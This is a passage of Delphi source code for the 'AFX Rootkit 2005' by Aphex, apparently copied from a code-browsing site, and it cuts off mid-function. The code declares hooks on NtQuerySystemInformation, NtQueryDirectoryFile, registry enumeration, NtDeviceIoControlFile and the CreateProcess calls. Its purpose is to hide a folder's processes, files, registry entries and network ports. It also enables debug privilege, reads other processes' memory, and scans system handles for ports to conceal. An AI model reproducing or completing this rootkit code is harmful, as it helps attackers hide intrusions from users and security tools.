📄 hook.dpr
字号:
{
AFX Rootkit 2005 by Aphex
http://www.iamaphex.net
aphex@iamaphex.net
}
library hook;
uses
Windows,
afxCodeHook,
Winsock,
ShellApi,
PsApi,
WinSvc,
Native,
JwaWinType,
JwaWinSvc,
tlhelp32;
type
TMainThreadInfo = record
pSleep: pointer;
end;
const
Advapi = 'advapi32';
Kernel = 'kernel32';
Ntdll = 'ntdll';
Shell = 'shell32';
var
Root: string = '';
var
Ports: array of word;
PortCount: dword;
var
NtQuerySystemInformationNextHook: function(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: PVOID; SystemInformationLength: ULONG; ReturnLength: PULONG): NTSTATUS; stdcall;
NtEnumerateValueKeyNextHook: function(KeyHandle: HANDLE; Index: ULONG; KeyValueInformationClass: KEY_VALUE_INFORMATION_CLASS; KeyValueInformation: PVOID; KeyValueInformationLength: ULONG; ResultLength: PULONG): NTSTATUS; stdcall;
NtDeviceIoControlFileNextHook: function(FileHandle: HANDLE; Event: HANDLE; ApcRoutine: PIO_APC_ROUTINE; ApcContext: PVOID; IoStatusBlock: PIO_STATUS_BLOCK; IoControlCode: ULONG; InputBuffer: PVOID; InputBufferLength: ULONG; OutputBuffer: PVOID; OutputBufferLength: ULONG): NTSTATUS; stdcall;
NtQueryDirectoryFileNextHook: function(FileHandle: HANDLE; Event: HANDLE; ApcRoutine: PIO_APC_ROUTINE; ApcContext: PVOID; IoStatusBlock: PIO_STATUS_BLOCK; FileInformation: PVOID; FileInformationLength: ULONG; FileInformationClass: FILE_INFORMATION_CLASS; ReturnSingleEntry: ByteBool; FileName: PUNICODE_STRING; RestartScan: ByteBool): NTSTATUS; stdcall;
RtlQueryProcessDebugInformationNextHook: function(hProcess: THandle; lpParam: dword; lpBuffer: pointer): dword; stdcall;
EnumProcessModulesNextHook: function(hProcess: Cardinal; lphModule: pdword; cb: Cardinal; lpcbNeeded: Cardinal): bool; stdcall;
CreateProcessANextHook: function(lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall;
CreateProcessWNextHook: function(lpApplicationName: PWideChar; lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall;
CreateProcessAsUserANextHook: function(hToken: THandle; lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar; lpProcessAttributes: PSecurityAttributes; lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall;
CreateProcessAsUserWNextHook: function(hToken: THandle; lpApplicationName: PWideChar; lpCommandLine: PWideChar; lpProcessAttributes: PSecurityAttributes; lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall;
CreateProcessWithLogonWNextHook: function(lpUsername, lpDomain, lpPassword: PWideChar; dwLogonFlags: dword; lpApplicationName: PWideChar; lpCommandLine: PWideChar; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PWideChar; const lpStartupInfo: tSTARTUPINFO; var lpProcessInformation: TProcessInformation): BOOL; stdcall;
function IntToStr(I: integer): string;
begin
Str(I, Result);
end;
function StrToInt(S: string): integer;
begin
Val(S, Result, Result);
end;
function StrCmp(String1, String2: string): boolean;
begin
if lstrcmpi(pchar(String1), pchar(String2)) = 0 then
begin
Result := True;
end
else
begin
Result := False;
end;
end;
function LowerCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
function ExtractFileName(FileName: string): string;
begin
while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName));
while Pos('/', FileName) <> 0 do Delete(FileName, 1, Pos('/', FileName));
Result := FileName;
end;
function ExtractFilePath(FileName: string): string;
begin
Result := '';
while ((Pos('\', FileName) <> 0) or (Pos('/', FileName) <> 0)) do
begin
Result := Result + Copy(FileName, 1, 1);
Delete(FileName, 1, 1);
end;
end;
function GetFolder: string;
var
FileName: string;
FilePath: array [0..MAX_PATH - 1] of char;
begin
Result := '';
GetModuleFileName(SysInit.hInstance, FilePath, MAX_PATH);
FileName := string(FilePath);
while ((Pos('\', FileName) <> 0) or (Pos('/', FileName) <> 0)) do
begin
Result := Result + Copy(FileName, 1, 1);
Delete(FileName, 1, 1);
end;
Delete(Result, Length(Result), 1);
while Pos('\', Result) <> 0 do Delete(Result, 1, Pos('\', Result));
while Pos('/', Result) <> 0 do Delete(Result, 1, Pos('/', Result));
end;
function GetCurrentModulePath: string;
var
FilePath: array [0..MAX_PATH - 1] of char;
begin
GetModuleFileName(SysInit.hInstance, FilePath, MAX_PATH);
Result := string(FilePath);
end;
procedure SetPrivilege;
var
OldTokenPrivileges, TokenPrivileges: TTokenPrivileges;
ReturnLength: dword;
hToken: THandle;
Luid: int64;
begin
OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken);
LookupPrivilegeValue(nil, 'SeDebugPrivilege', Luid);
TokenPrivileges.Privileges[0].luid := Luid;
TokenPrivileges.PrivilegeCount := 1;
TokenPrivileges.Privileges[0].Attributes := 0;
AdjustTokenPrivileges(hToken, False, TokenPrivileges, SizeOf(TTokenPrivileges), OldTokenPrivileges, ReturnLength);
OldTokenPrivileges.Privileges[0].luid := Luid;
OldTokenPrivileges.PrivilegeCount := 1;
OldTokenPrivileges.Privileges[0].Attributes := TokenPrivileges.Privileges[0].Attributes or SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, False, OldTokenPrivileges, ReturnLength, PTokenPrivileges(nil)^, ReturnLength);
end;
function GetPathFromId(Id: dword): string;
type
TProcessBasicInformation = record
ExitStatus: Integer;
PebBaseAddress: Pointer;
AffinityMask: Integer;
BasePriority: Integer;
UniqueProcessID: Integer;
InheritedFromUniqueProcessID: Integer;
end;
var
Process: dword;
ProcInfo: TProcessBasicInformation;
BytesRead: dword;
Usr, Buf: dword;
Len: word;
Buffer: PWideChar;
begin
Result := '';
Process := OpenProcess(PROCESS_ALL_ACCESS, False, Id);
NtQueryInformationProcess(Process, ProcessBasicInformation, @ProcInfo, SizeOf(TProcessBasicInformation), nil);
ReadProcessMemory(Process, pointer(dword(ProcInfo.PebBaseAddress) + $10), @Usr, 4, BytesRead);
ReadProcessMemory(Process, pointer(Usr + $38), @Len, 2, BytesRead);
GetMem(Buffer, Len);
try
ReadProcessMemory(Process, pointer(Usr + $3c), @Buf, 4, BytesRead);
ReadProcessMemory(Process, pointer(Buf), Buffer, Len, BytesRead);
Result := WideCharToString(Buffer);
finally
FreeMem(Buffer);
end;
SetLength(Result, Len div 2);
end;
function IsId(Id: dword): boolean;
var
Path: string;
begin
Path := LowerCase(ExtractFilePath(GetPathFromId(Id)));
Result := Pos(LowerCase('\' + Root + '\'), Path) <> 0;
end;
function IsExplorer(Id: dword): boolean;
var
Path: string;
begin
Path := LowerCase(GetPathFromId(Id));
Result := Pos(LowerCase('explorer.exe'), Path) <> 0;
end;
function IsPort(Port: word): boolean;
var
PortLoop: dword;
begin
Result := False;
for PortLoop := 0 to PortCount - 1 do
begin
if PortLoop >= PortCount then Break;
if Ports[PortLoop] = Port then
begin
Result := True;
Exit;
end;
end;
end;
function AddPort(Port: word): boolean;
begin
Result := False;
if IsPort(Port) then Exit;
SetLength(Ports, PortCount + 1);
Ports[PortCount] := Port;
Inc(PortCount);
Result := True;
end;
procedure ClearPorts;
begin
PortCount := 0;
SetLength(Ports, PortCount + 1);
end;
procedure UpdatePorts;
type
TDI_CONNECTION_INFO = record
State: ULONG;
Event: ULONG;
TransmittedTsdus: ULONG;
ReceivedTsdus: ULONG;
TransmissionErrors: ULONG;
ReceiveErrors: ULONG;
Throughput: ULONG;
Delay: ULONG;
SendBufferSize: ULONG;
ReceiveBufferSize: ULONG;
Unreliable: BOOL;
end;
TDI_CONNECTION_INFORMATION = record
UserDataLength: ULONG;
UserData: ULONG;
OptionsLength: ULONG;
Options: ULONG;
RemoteAddressLength: ULONG;
RemoteAddress: ULONG;
end;
var
SystemInformation: PSYSTEM_HANDLE_INFORMATION;
HandleEntry: SYSTEM_HANDLE_TABLE_ENTRY_INFO;
ObjectInformation: POBJECT_NAME_INFORMATION;
IoStatusBlock: IO_STATUS_BLOCK;
TdiConnectionInfo: TDI_CONNECTION_INFO;
TdiConnectionInformation: TDI_CONNECTION_INFORMATION;
Status: NTSTATUS;
Handle, ProcessId, Bytes, SystemInformationLength, HandlesParsed, ProcessHandle, Duplicate, ObjectInformationLength: dword;
Port: word;
HandleName: string;
begin
ClearPorts;
GetMem(SystemInformation, 1);
try
SystemInformationLength := 1;
while True do
begin
Inc(SystemInformationLength, 1024);
ReallocMem(SystemInformation, SystemInformationLength);
Status := NtQuerySystemInformationNextHook(SystemHandleInformation, SystemInformation, SystemInformationLength, @Bytes);
if Status = NTSTATUS($C0000004) then
Continue
else
Break;
end;
for HandlesParsed := 0 to SystemInformation.NumberOfHandles - 1 do
begin
HandleEntry := SystemInformation.Handles[HandlesParsed];
ProcessId := HandleEntry.UniqueProcessId;
Handle := HandleEntry.HandleValue;
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, ProcessId);
if not DuplicateHandle(ProcessHandle, Handle, GetCurrentProcess, @Duplicate, PROCESS_ALL_ACCESS, False, 0) then
begin
CloseHandle(ProcessHandle);
Continue;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -